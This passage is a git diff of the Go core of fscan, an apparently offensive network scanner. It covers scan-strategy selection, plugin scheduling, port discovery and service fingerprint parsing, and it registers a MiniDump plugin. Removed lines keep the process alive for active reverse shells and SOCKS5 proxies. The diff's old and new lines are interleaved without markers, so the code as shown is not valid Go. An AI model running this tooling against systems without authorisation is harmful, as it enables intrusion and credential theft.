Common.RegisterPlugin("minidump", Common.ScanPlugin{
Name: "MiniDump",
Ports: []int{},
ScanFunc: Plugins.MiniDump,
Types: []string{Common.PluginTypeLocal},
})
}
// GetAllPlugins 返回所有已注册插件的名称列表
func GetAllPlugins() []string {
pluginNames := make([]string, 0, len(Common.PluginManager))
for name := range Common.PluginManager {
pluginNames = append(pluginNames, name)
}
sort.Strings(pluginNames)
return pluginNames
}

View File

@ -1,110 +1,122 @@
package core
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/webscan/lib"
"github.com/schollz/progressbar/v3"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
)
// ScanTask 表示单个扫描任务
type ScanTask struct {
pluginName string // 插件名称
target Common.HostInfo // 目标信息
}
// ScanStrategy 定义扫描策略接口(简化版)
// ScanStrategy 定义扫描策略接口
type ScanStrategy interface {
// 名称和描述
Name() string
Description() string
// 执行扫描的主要方法
Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
// 插件管理方法
GetPlugins() ([]string, bool)
IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool
IsPluginApplicableByName(pluginName string, targetPort int, isCustomMode bool) bool
LogPluginInfo()
// 任务准备方法
PrepareTargets(info Common.HostInfo) []Common.HostInfo
IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool
}
// Scanner 扫描器结构体
type Scanner struct {
strategy ScanStrategy
}
// NewScanner 创建新的扫描器并选择合适的策略
func NewScanner(info Common.HostInfo) *Scanner {
scanner := &Scanner{}
scanner.selectStrategy(info)
return scanner
}
// selectStrategy 根据扫描配置选择适当的扫描策略
func selectStrategy(info common.HostInfo) ScanStrategy {
func (s *Scanner) selectStrategy(info Common.HostInfo) {
switch {
case common.AliveOnly || common.ScanMode == "icmp":
common.LogBase(i18n.GetText("scan_mode_alive_selected"))
return NewAliveScanStrategy()
case common.LocalMode:
common.LogBase(i18n.GetText("scan_mode_local_selected"))
return NewLocalScanStrategy()
case len(common.URLs) > 0:
common.LogBase(i18n.GetText("scan_mode_web_selected"))
return NewWebScanStrategy()
case Common.LocalMode:
s.strategy = NewLocalScanStrategy()
Common.LogBase("已选择本地扫描模式")
case len(Common.URLs) > 0:
s.strategy = NewWebScanStrategy()
Common.LogBase("已选择Web扫描模式")
default:
common.LogBase(i18n.GetText("scan_mode_service_selected"))
return NewServiceScanStrategy()
s.strategy = NewServiceScanStrategy()
Common.LogBase("已选择服务扫描模式")
}
}
// RunScan 执行整体扫描流程(简化版,移除不必要的包装)
func RunScan(info common.HostInfo) {
common.LogBase(i18n.GetText("scan_info_start"))
// Scan 执行整体扫描流程
func (s *Scanner) Scan(info Common.HostInfo) {
Common.LogBase("开始信息扫描")
lib.Inithttp()
// 选择策略
strategy := selectStrategy(info)
// 并发控制初始化
ch := make(chan struct{}, common.ThreadNum)
ch := make(chan struct{}, Common.ThreadNum)
wg := sync.WaitGroup{}
// 执行策略
strategy.Execute(info, &ch, &wg)
s.strategy.Execute(info, &ch, &wg)
// 等待所有扫描完成
wg.Wait()
// 检查是否有活跃的反弹Shell或SOCKS5代理
if common.ReverseShellActive {
common.LogBase("检测到活跃的反弹Shell保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持反弹Shell连接
select {} // 阻塞等待,直到收到系统信号
}
if common.Socks5ProxyActive {
common.LogBase("检测到活跃的SOCKS5代理保持程序运行...")
common.LogBase("按 Ctrl+C 退出程序")
// 进入无限等待保持程序运行以维持SOCKS5代理
select {} // 阻塞等待,直到收到系统信号
}
// 完成扫描
finishScan()
s.finishScan()
}
// finishScan 完成扫描并输出结果
func finishScan() {
// 确保进度条正确完成
if common.IsProgressActive() {
common.FinishProgressBar()
func (s *Scanner) finishScan() {
if Common.ProgressBar != nil {
Common.ProgressBar.Finish()
fmt.Println()
}
// 输出扫描完成信息
common.LogBase(i18n.GetText("scan_task_complete", common.End, common.Num))
Common.LogBase(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
}
// ExecuteScanTasks 任务执行通用框架(流式处理,无预构建任务列表)
func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
// 任务执行通用框架
func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取要执行的插件
pluginsToRun, isCustomMode := strategy.GetPlugins()
// 预计算任务数量用于进度条
taskCount := countApplicableTasks(targets, pluginsToRun, isCustomMode, strategy)
// 准备扫描任务
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
// 初始化进度条
if taskCount > 0 && common.ShowProgress {
description := i18n.GetText("progress_scanning_description")
common.InitProgressBar(int64(taskCount), description)
// 输出扫描计划
if Common.ShowScanPlan && len(tasks) > 0 {
logScanPlan(tasks)
}
// 流式执行任务,避免预构建大量任务对象
// 初始化进度条
if len(tasks) > 0 && Common.ShowProgress {
initProgressBar(len(tasks))
}
// 执行所有任务
for _, task := range tasks {
scheduleScanTask(task.pluginName, task.target, ch, wg)
}
}
// 准备扫描任务列表
func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask {
var tasks []ScanTask
for _, target := range targets {
targetPort := 0
if target.Ports != "" {
@ -112,74 +124,123 @@ func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan
}
for _, pluginName := range pluginsToRun {
if !GlobalPluginAdapter.PluginExists(pluginName) {
plugin, exists := Common.PluginManager[pluginName]
if !exists {
continue
}
// 检查插件是否适用于当前目标
if strategy.IsPluginApplicableByName(pluginName, targetPort, isCustomMode) {
executeScanTask(pluginName, target, ch, wg)
// 检查插件是否适用于当前目标 (通过策略判断)
if strategy.IsPluginApplicable(plugin, targetPort, isCustomMode) {
tasks = append(tasks, ScanTask{
pluginName: pluginName,
target: target,
})
}
}
}
return tasks
}
// countApplicableTasks 计算适用的任务数量(用于进度条初始化)
func countApplicableTasks(targets []common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) int {
count := 0
for _, target := range targets {
targetPort := 0
if target.Ports != "" {
targetPort, _ = strconv.Atoi(target.Ports)
// logScanPlan 输出扫描计划信息
func logScanPlan(tasks []ScanTask) {
// 统计每个插件的目标数量
pluginCounts := make(map[string]int)
for _, task := range tasks {
pluginCounts[task.pluginName]++
}
for _, pluginName := range pluginsToRun {
if GlobalPluginAdapter.PluginExists(pluginName) &&
strategy.IsPluginApplicableByName(pluginName, targetPort, isCustomMode) {
count++
// 构建扫描计划信息
var planInfo strings.Builder
planInfo.WriteString("扫描计划:\n")
for plugin, count := range pluginCounts {
planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count))
}
}
}
return count
Common.LogBase(planInfo.String())
}
// 初始化进度条
func initProgressBar(totalTasks int) {
Common.ProgressBar = progressbar.NewOptions(totalTasks,
progressbar.OptionEnableColorCodes(true),
progressbar.OptionShowCount(),
progressbar.OptionSetWidth(15),
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
progressbar.OptionSetTheme(progressbar.Theme{
Saucer: "[green]=[reset]",
SaucerHead: "[green]>[reset]",
SaucerPadding: " ",
BarStart: "[",
BarEnd: "]",
}),
progressbar.OptionThrottle(65*time.Millisecond),
progressbar.OptionUseANSICodes(true),
progressbar.OptionSetRenderBlankState(true),
)
}
// executeScanTask 执行单个扫描任务(合并原 scheduleScanTask 和 executeSingleScan
func executeScanTask(pluginName string, target common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 调度单个扫描任务
func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
wg.Add(1)
*ch <- struct{}{} // 获取并发槽位
go func() {
// 开始监控插件任务
monitor := common.GetConcurrencyMonitor()
monitor.StartPluginTask()
startTime := time.Now()
defer func() {
// 捕获并记录任何可能的panic
if r := recover(); r != nil {
common.LogError(fmt.Sprintf(i18n.GetText("scan_plugin_panic"),
Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
pluginName, target.Host, target.Ports, r))
}
// 完成任务,释放资源
monitor.FinishPluginTask()
duration := time.Since(startTime)
if Common.ShowScanPlan {
Common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
pluginName, target.Host, target.Ports, duration.Seconds()))
}
wg.Done()
<-*ch // 释放并发槽位
}()
// 更新统计和进度
atomic.AddInt64(&common.Num, 1)
common.UpdateProgressBar(1)
// 执行扫描(使用新插件系统)
if err := GlobalPluginAdapter.ScanWithPlugin(pluginName, &target); err != nil {
common.LogError(fmt.Sprintf(i18n.GetText("scan_plugin_error"), target.Host, target.Ports, err))
}
atomic.AddInt64(&Common.Num, 1)
executeSingleScan(pluginName, target)
updateProgress()
}()
}
// 执行单个扫描
func executeSingleScan(pluginName string, info Common.HostInfo) {
plugin, exists := Common.PluginManager[pluginName]
if !exists {
Common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
return
}
// Scan 入口函数,向后兼容旧的调用方式
func Scan(info common.HostInfo) {
RunScan(info)
if err := plugin.ScanFunc(&info); err != nil {
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
}
}
// 更新扫描进度
func updateProgress() {
Common.OutputMutex.Lock()
defer Common.OutputMutex.Unlock()
atomic.AddInt64(&Common.End, 1)
if Common.ProgressBar != nil {
fmt.Print("\033[2K\r")
Common.ProgressBar.Add(1)
}
}
// 入口函数,向后兼容旧的调用方式
func Scan(info Common.HostInfo) {
scanner := NewScanner(info)
scanner.Scan(info)
}

View File

@ -1,189 +1,218 @@
package core
package Core
import (
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"strconv"
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// ServiceScanStrategy 服务扫描策略
type ServiceScanStrategy struct {
*BaseScanStrategy
portDiscovery *PortDiscoveryService
}
type ServiceScanStrategy struct{}
// NewServiceScanStrategy 创建新的服务扫描策略
func NewServiceScanStrategy() *ServiceScanStrategy {
return &ServiceScanStrategy{
BaseScanStrategy: NewBaseScanStrategy("服务扫描", FilterService),
portDiscovery: NewPortDiscoveryService(),
}
return &ServiceScanStrategy{}
}
// Name 返回策略名称
func (s *ServiceScanStrategy) Name() string {
return i18n.GetText("scan_strategy_service_name")
return "服务扫描"
}
// Description 返回策略描述
func (s *ServiceScanStrategy) Description() string {
return i18n.GetText("scan_strategy_service_desc")
return "扫描主机服务和漏洞"
}
// Execute 执行服务扫描策略
func (s *ServiceScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 验证扫描目标
if info.Host == "" {
common.LogError(i18n.GetText("parse_error_target_empty"))
Common.LogError("未指定扫描目标")
return
}
// 输出扫描开始信息
s.LogScanStart()
// 验证插件配置
if err := s.ValidateConfiguration(); err != nil {
common.LogError(err.Error())
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
common.LogBase(i18n.GetText("scan_host_start"))
// 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return
}
Common.LogBase("开始主机扫描")
// 输出插件信息
s.LogPluginInfo()
// 执行主机扫描流程
s.performHostScan(info, ch, wg)
s.performHostScan(hosts, info, ch, wg)
}
// performHostScan 执行主机扫描的完整流程
func (s *ServiceScanStrategy) performHostScan(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 使用端口发现服务发现目标
targetInfos, err := s.portDiscovery.DiscoverTargets(info.Host, info)
if err != nil {
common.LogError(err.Error())
return
func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// 主机存活检测
if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
Common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
}
// 端口扫描
alivePorts := s.discoverAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = s.convertToTargetInfos(alivePorts, info)
}
}
// 执行漏洞扫描
if len(targetInfos) > 0 {
common.LogBase(i18n.GetText("scan_vulnerability_start"))
// 显示即将使用的漏洞扫描插件
s.LogVulnerabilityPluginInfo(targetInfos)
Common.LogBase("开始漏洞扫描")
ExecuteScanTasks(targetInfos, s, ch, wg)
}
}
// shouldPerformLivenessCheck 判断是否需要执行存活性检测
func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool {
return Common.DisablePing == false && len(hosts) > 1
}
// discoverAlivePorts 发现存活的端口
func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []string {
var alivePorts []string
// 根据扫描模式选择端口扫描方式
if len(hosts) > 0 {
alivePorts = EnhancedPortScan(hosts, Common.Ports, Common.Timeout)
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
// 合并额外指定的端口
if len(Common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts)
Common.HostPort = nil
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
return alivePorts
}
// PrepareTargets 准备目标信息
func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo {
// 使用端口发现服务发现目标
targetInfos, err := s.portDiscovery.DiscoverTargets(info.Host, info)
func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
// 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
common.LogError(err.Error())
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return nil
}
var targetInfos []Common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// 主机存活检测
if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
}
// 端口扫描
alivePorts := s.discoverAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = s.convertToTargetInfos(alivePorts, info)
}
}
return targetInfos
}
// LogVulnerabilityPluginInfo 输出服务扫描插件信息
func (s *ServiceScanStrategy) LogVulnerabilityPluginInfo(targets []common.HostInfo) {
// convertToTargetInfos 将端口列表转换为目标信息
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo {
var infos []Common.HostInfo
for _, targetIP := range ports {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue
}
info := baseInfo
info.Host = hostParts[0]
info.Ports = hostParts[1]
infos = append(infos, info)
}
return infos
}
// GetPlugins 获取服务扫描插件列表
func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了插件列表且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
plugins := parsePluginList(Common.ScanMode)
if len(plugins) > 0 {
return plugins, true
}
return []string{Common.ScanMode}, true
}
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出服务扫描插件信息
func (s *ServiceScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 收集所有目标端口用于插件适用性检查
portSet := make(map[int]bool)
for _, target := range targets {
if target.Ports != "" {
if port, err := strconv.Atoi(target.Ports); err == nil {
portSet[port] = true
}
}
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 获取实际会被使用的插件列表(包括新插件架构和传统插件)
var servicePlugins []string
// 检查新插件架构
// 在自动模式下,过滤掉本地插件,只显示服务类型插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
// 首先检查新插件架构
if factory := base.GlobalPluginRegistry.GetFactory(pluginName); factory != nil {
// 获取插件元数据检查端口匹配
metadata := factory.GetMetadata()
if s.isNewPluginApplicableToAnyPort(metadata, portSet, isCustomMode) {
servicePlugins = append(servicePlugins, pluginName)
}
continue
}
// 然后检查传统插件系统
plugin, exists := common.PluginManager[pluginName]
if !exists {
continue
}
// 检查传统插件是否对任何目标端口适用
if s.isPluginApplicableToAnyPort(plugin, portSet, isCustomMode) {
servicePlugins = append(servicePlugins, pluginName)
plugin, exists := Common.PluginManager[pluginName]
if exists && !plugin.HasType(Common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
// 输出插件信息
if len(servicePlugins) > 0 {
common.LogBase(i18n.GetText("scan_service_plugins", strings.Join(servicePlugins, ", ")))
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
common.LogBase(i18n.GetText("scan_no_service_plugins"))
Common.LogBase("未找到可用的服务插件")
}
}
// isPluginApplicableToAnyPort 检查插件是否对任何端口适用(性能优化)
func (s *ServiceScanStrategy) isPluginApplicableToAnyPort(plugin common.ScanPlugin, portSet map[int]bool, isCustomMode bool) bool {
// IsPluginApplicable 判断插件是否适用于服务扫描
func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下,排除本地插件
if plugin.HasType(common.PluginTypeLocal) {
if plugin.HasType(Common.PluginTypeLocal) {
return false
}
// 无端口限制的插件适用于所有端口
if len(plugin.Ports) == 0 {
return true
// 检查端口是否匹配
if len(plugin.Ports) > 0 && targetPort > 0 {
return plugin.HasPort(targetPort)
}
// 有端口限制的插件:检查是否匹配任何目标端口
for port := range portSet {
if plugin.HasPort(port) {
return true
}
}
return false
}
// isNewPluginApplicableToAnyPort 检查新插件架构的插件是否对任何端口适用
func (s *ServiceScanStrategy) isNewPluginApplicableToAnyPort(metadata *base.PluginMetadata, portSet map[int]bool, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 无端口限制的插件适用于所有端口
if len(metadata.Ports) == 0 {
return true
}
// 有端口限制的插件:检查是否匹配任何目标端口
for port := range portSet {
for _, pluginPort := range metadata.Ports {
if pluginPort == port {
return true
}
}
}
return false
// 无端口限制的插件或适用于服务扫描的插件
return len(plugin.Ports) == 0 || plugin.HasType(Common.PluginTypeService)
}

View File

@ -1,145 +0,0 @@
package core
import (
"context"
"net"
"net/http"
"strings"
"time"
)
// WebPortDetector Web端口检测器
type WebPortDetector struct {
// 常见Web端口列表
commonWebPorts map[int]bool
// HTTP检测超时时间
httpTimeout time.Duration
}
// NewWebPortDetector 创建Web端口检测器
func NewWebPortDetector() *WebPortDetector {
// 定义常见Web端口
commonPorts := map[int]bool{
80: true, // HTTP
443: true, // HTTPS
8080: true, // HTTP alternate
8443: true, // HTTPS alternate
8000: true, // Development server
8888: true, // Common dev port
9000: true, // Common dev port
9090: true, // Common dev port
3000: true, // Node.js dev server
4000: true, // Ruby dev server
5000: true, // Python dev server
8081: true, // HTTP alternate
8082: true, // HTTP alternate
8083: true, // HTTP alternate
8084: true, // HTTP alternate
8085: true, // HTTP alternate
8086: true, // HTTP alternate
8087: true, // HTTP alternate
8088: true, // HTTP alternate
8089: true, // HTTP alternate
}
return &WebPortDetector{
commonWebPorts: commonPorts,
httpTimeout: 2 * time.Second, // 2秒超时快速检测
}
}
// IsWebService 检测指定主机端口是否为Web服务
func (w *WebPortDetector) IsWebService(host string, port int) bool {
// 1. 首先检查是否为常见Web端口
if w.commonWebPorts[port] {
return true
}
// 2. 对于非常见端口进行HTTP协议检测
return w.detectHTTPService(host, port)
}
// IsCommonWebPort 检查是否为常见Web端口
func (w *WebPortDetector) IsCommonWebPort(port int) bool {
return w.commonWebPorts[port]
}
// detectHTTPService 检测HTTP服务轻量级探测
func (w *WebPortDetector) detectHTTPService(host string, port int) bool {
// 创建检测上下文,避免长时间阻塞
ctx, cancel := context.WithTimeout(context.Background(), w.httpTimeout)
defer cancel()
// 尝试HTTP连接
if w.tryHTTPConnection(ctx, host, port, "http") {
return true
}
// 尝试HTTPS连接对于高端口常见
if w.tryHTTPConnection(ctx, host, port, "https") {
return true
}
return false
}
// tryHTTPConnection 尝试HTTP连接
func (w *WebPortDetector) tryHTTPConnection(ctx context.Context, host string, port int, protocol string) bool {
url := ""
if port == 80 && protocol == "http" {
url = "http://" + host
} else if port == 443 && protocol == "https" {
url = "https://" + host
} else {
url = protocol + "://" + host + ":" + string(rune(port))
}
// 创建HTTP客户端快速检测
client := &http.Client{
Timeout: w.httpTimeout,
Transport: &http.Transport{
DialContext: (&net.Dialer{
Timeout: w.httpTimeout,
}).DialContext,
TLSHandshakeTimeout: w.httpTimeout,
ResponseHeaderTimeout: w.httpTimeout,
DisableKeepAlives: true,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse // 不跟随重定向,加快检测速度
},
}
// 发送HEAD请求最小化网络开销
req, err := http.NewRequestWithContext(ctx, "HEAD", url, nil)
if err != nil {
return false
}
req.Header.Set("User-Agent", "fscan-web-detector/2.0")
resp, err := client.Do(req)
if err != nil {
// 检查错误类型某些错误也表明是HTTP服务
errStr := strings.ToLower(err.Error())
if strings.Contains(errStr, "http") ||
strings.Contains(errStr, "malformed http") ||
strings.Contains(errStr, "server closed") {
return true
}
return false
}
defer resp.Body.Close()
// 任何HTTP响应都表明这是Web服务
return resp.StatusCode > 0
}
// GetCommonWebPorts 获取常见Web端口列表
func (w *WebPortDetector) GetCommonWebPorts() []int {
ports := make([]int, 0, len(w.commonWebPorts))
for port := range w.commonWebPorts {
ports = append(ports, port)
}
return ports
}

View File

@ -1,42 +1,37 @@
package core
package Core
import (
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// WebScanStrategy Web扫描策略
type WebScanStrategy struct {
*BaseScanStrategy
}
type WebScanStrategy struct{}
// NewWebScanStrategy 创建新的Web扫描策略
func NewWebScanStrategy() *WebScanStrategy {
return &WebScanStrategy{
BaseScanStrategy: NewBaseScanStrategy("Web扫描", FilterWeb),
}
return &WebScanStrategy{}
}
// Name 返回策略名称
func (s *WebScanStrategy) Name() string {
return i18n.GetText("scan_strategy_web_name")
return "Web扫描"
}
// Description 返回策略描述
func (s *WebScanStrategy) Description() string {
return i18n.GetText("scan_strategy_web_desc")
return "扫描Web应用漏洞和信息"
}
// Execute 执行Web扫描策略
func (s *WebScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 输出扫描开始信息
s.LogScanStart()
func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("开始Web扫描")
// 验证插件配置
if err := s.ValidateConfiguration(); err != nil {
common.LogError(err.Error())
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
@ -51,10 +46,10 @@ func (s *WebScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *s
}
// PrepareTargets 准备URL目标列表
func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo) []common.HostInfo {
var targetInfos []common.HostInfo
func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.HostInfo {
var targetInfos []Common.HostInfo
for _, url := range common.URLs {
for _, url := range Common.URLs {
urlInfo := baseInfo
// 确保URL包含协议头
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
@ -67,3 +62,64 @@ func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo) []common.Host
return targetInfos
}
// GetPlugins 获取Web扫描插件列表
func (s *WebScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了自定义插件并且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
}
// 验证插件是否存在不做Web类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
if len(validPlugins) > 0 {
return validPlugins, true
}
}
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出Web扫描插件信息
func (s *WebScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下只显示Web类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeWeb) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("Web扫描模式: 未找到可用的Web插件")
}
}
// IsPluginApplicable 判断插件是否适用于Web扫描
func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下只运行Web类型插件
return plugin.HasType(Common.PluginTypeWeb)
}

View File

@ -1,105 +0,0 @@
package portfinger
import (
"encoding/hex"
"strconv"
)
// DecodePattern 解码匹配模式
func DecodePattern(s string) ([]byte, error) {
b := []byte(s)
var result []byte
for i := 0; i < len(b); {
if b[i] == '\\' && i+1 < len(b) {
// 处理转义序列
switch b[i+1] {
case 'x':
// 十六进制编码 \xNN
if i+3 < len(b) {
if hexStr := string(b[i+2:i+4]); isValidHex(hexStr) {
if decoded, err := hex.DecodeString(hexStr); err == nil {
result = append(result, decoded...)
i += 4
continue
}
}
}
case 'a':
result = append(result, '\a')
i += 2
continue
case 'f':
result = append(result, '\f')
i += 2
continue
case 't':
result = append(result, '\t')
i += 2
continue
case 'n':
result = append(result, '\n')
i += 2
continue
case 'r':
result = append(result, '\r')
i += 2
continue
case 'v':
result = append(result, '\v')
i += 2
continue
case '\\':
result = append(result, '\\')
i += 2
continue
default:
// 八进制编码 \NNN
if i+1 < len(b) && b[i+1] >= '0' && b[i+1] <= '7' {
octalStr := ""
j := i + 1
for j < len(b) && j < i+4 && b[j] >= '0' && b[j] <= '7' {
octalStr += string(b[j])
j++
}
if octal, err := strconv.ParseInt(octalStr, 8, 8); err == nil {
result = append(result, byte(octal))
i = j
continue
}
}
}
}
// 普通字符
result = append(result, b[i])
i++
}
return result, nil
}
// DecodeData 解码探测数据
func DecodeData(s string) ([]byte, error) {
// 移除首尾的分隔符
if len(s) > 0 && (s[0] == '"' || s[0] == '\'') {
s = s[1:]
}
if len(s) > 0 && (s[len(s)-1] == '"' || s[len(s)-1] == '\'') {
s = s[:len(s)-1]
}
return DecodePattern(s)
}
// isValidHex 检查字符串是否为有效的十六进制
func isValidHex(s string) bool {
for _, c := range s {
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
return false
}
}
return len(s) == 2
}

View File

@ -1,120 +0,0 @@
package portfinger
import (
"fmt"
"regexp"
"strings"
"github.com/shadow1ng/fscan/common"
)
// 解析match指令获取匹配规则
func (p *Probe) getMatch(data string) (match Match, err error) {
common.LogDebug("开始解析match指令" + data)
match = Match{}
// 提取match文本并解析指令语法
matchText := data[len("match")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return match, fmt.Errorf("无效的match指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
common.LogDebug("解码pattern失败: " + decodeErr.Error())
return match, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return match, compileErr
}
// 设置match对象属性
match.Service = directive.DirectiveName
match.Pattern = pattern
match.PatternCompiled = patternCompiled
match.VersionInfo = versionInfo
common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
match.Service, match.Pattern))
return match, nil
}
// 解析softmatch指令获取软匹配规则
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
common.LogDebug("开始解析softmatch指令" + data)
softMatch = Match{IsSoft: true}
// 提取softmatch文本并解析指令语法
matchText := data[len("softmatch")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return softMatch, fmt.Errorf("无效的softmatch指令格式")
}
pattern := textSplited[0]
